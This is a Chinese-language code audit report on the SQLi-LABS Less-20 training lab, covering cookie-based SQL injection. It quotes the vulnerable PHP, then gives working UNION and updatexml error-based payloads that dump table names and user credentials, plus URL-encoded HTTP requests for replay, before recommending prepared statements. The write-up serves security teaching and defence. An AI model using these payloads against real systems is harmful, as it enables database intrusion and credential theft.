sqli-labs-Less-20-代码审计报告

13次阅读
没有评论

Less-20 代码审计报告:Cookie(uname)注入

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-20/index.php 实际文件一致。


1. 关卡概述

项目 内容
关卡名称 Less-20: Cookie Injection - Error Based - string
源码路径 Less-20/index.php
漏洞类型 SQL 注入 – Cookie 注入 – SELECT 报错/联合注入
注入点参数 Cookie: uname=(需先登录设置 Cookie)
报错/盲注 报错回显(die('Issue with your mysql: ' . mysql_error()))+ 数据回显
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-20/index.php

// 第 119-127 行:已登录(存在 uname Cookie)分支,直接取 Cookie 值
}
else
{
    if(!isset($_POST['submit']))
        {
        $cookee = $_COOKIE['uname'];                                     ← 第 127 行:未过滤

// 第 143 行:页面会回显 Cookie 值(可作为布尔/字符判断辅助)
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);

// 第 147-152 行:单引号拼接进 SELECT
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";            ← 第 147 行
$result=mysql_query($sql);
if (!$result)
    {
    die('Issue with your mysql: ' . mysql_error());                      ← 第 151 行:报错回显
    }
$row = mysql_fetch_array($result);

// 第 154-164 行:查询成功回显 username/password/id
if($row)
    {
    ...
    echo 'Your Login name:'. $row['username'];
    echo 'Your Password:' .$row['password'];
    ...
    echo 'Your ID:' .$row['id'];

关键漏洞点:

  • 第 127 行:$cookee = $_COOKIE['uname']; Cookie 值未过滤。
  • 第 147 行:SELECT * FROM users WHERE username='$cookee' LIMIT 0,1 —— $cookee 单引号拼接进 SELECT,构成注入点。
  • 第 151 行:die('Issue with your mysql: ' . mysql_error()); 报错回显(数据提取通道)。
  • 第 154-164 行:查询成功回显 username/password/id(联合查询可用)。
  • 执行前提:请求必须携带 uname Cookie(第 14 行 if(!isset($_COOKIE['uname'])) 判断),否则显示登录表单。先以合法账号登录(如 Dumb/Dumb)可正常获得 Cookie。

3. 漏洞分析

  • 输入来源:$_COOKIE['uname'],来自 Cookie,未过滤。
  • SQL 拼接位置:SELECT * FROM users WHERE username='$cookee' LIMIT 0,1。
  • 闭合方式:单引号 '。
  • 是否回显:
    • 第 151 行报错回显(mysql_error());
    • 第 154-164 行查询成功回显 username/password/id → 联合查询可直接提取数据。
  • 防护情况:POST 登录参数(uname/passwd)在登录时经 check_input() 过滤,但读取 Cookie 后完全未过滤。
  • 特殊点:Cookie 中 '、空格等字符在 HTTP 请求中需 URL 编码;本关注入只需把 uname Cookie 值替换为 payload 即可,即使没有服务端会话校验。

4. 利用方式

步骤一:确认注入点

Cookie: uname=admin'     → 第 151 行回显 mysql_error(),确认单引号闭合
Cookie: uname=admin      → 正常回显 admin 用户数据

步骤二:联合查询(利用回显,核心 Payload)

-- 将 uname Cookie 值改为:
admin' UNION SELECT 1,2,database()-- -

预期结果:页面回显 Your Login name: 1、Your Password: 2、Your ID: security(database() 结果在 id 回显位)。

步骤三:报错注入(备选)

-- 将 uname Cookie 值改为:
admin' AND updatexml(1,concat(0x7e,database()),1)-- -

预期结果:页面回显 Issue with your mysql: XPATH syntax error: '~security'。

步骤四:数据提取

-- 爆表名
admin' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'-- -
-- 爆用户名密码
admin' UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users-- -

预期结果:回显全部表名/用户名/密码。


5. Yakit 重放数据包

说明:请求需携带 uname Cookie(否则显示登录表单)。先以 Dumb/Dumb 登录拿到 Cookie 后,再将 uname 值替换为 payload。

报错注入报文(核心):

GET /sqli-labs/Less-20/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Cookie: uname=admin%27%20AND%20updatexml(1,concat(0x7e,database()),1)--%20-
Connection: close

联合查询报文:

GET /sqli-labs/Less-20/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Cookie: uname=admin%27%20UNION%20SELECT%201,2,database()--%20-
Connection: close

说明:%27='、%20=空格、--%20-=-- -。Cookie 值整体 URL 编码。

先登录获取 Cookie 的报文:

POST /sqli-labs/Less-20/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Connection: close

uname=Dumb&passwd=Dumb&submit=Submit

响应会 Set-Cookie: uname=Dumb,后续请求携带该 Cookie 并替换 uname 值为 payload。


6. 修复建议

修复一(首选):PDO 预处理语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :uname LIMIT 0,1");
$stmt->bindValue(':uname', $cookee, PDO::PARAM_STR);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? LIMIT 0,1");
$stmt->bind_param('s', $cookee);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限

  • 对 Cookie 输入同样过滤/校验,不要因为"是 Cookie"就跳过防护;可对 $cookee 做白名单校验(仅允许已有用户名)或统一参数化。
  • 关闭 display_errors,删除/改造第 151 行 die('Issue with your mysql: ' . mysql_error()),错误写日志。
  • Cookie 建议设置 HttpOnly、Secure 属性,降低被脚本读取/劫持风险。
  • 数据库账号最小权限;升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。
正文完
 0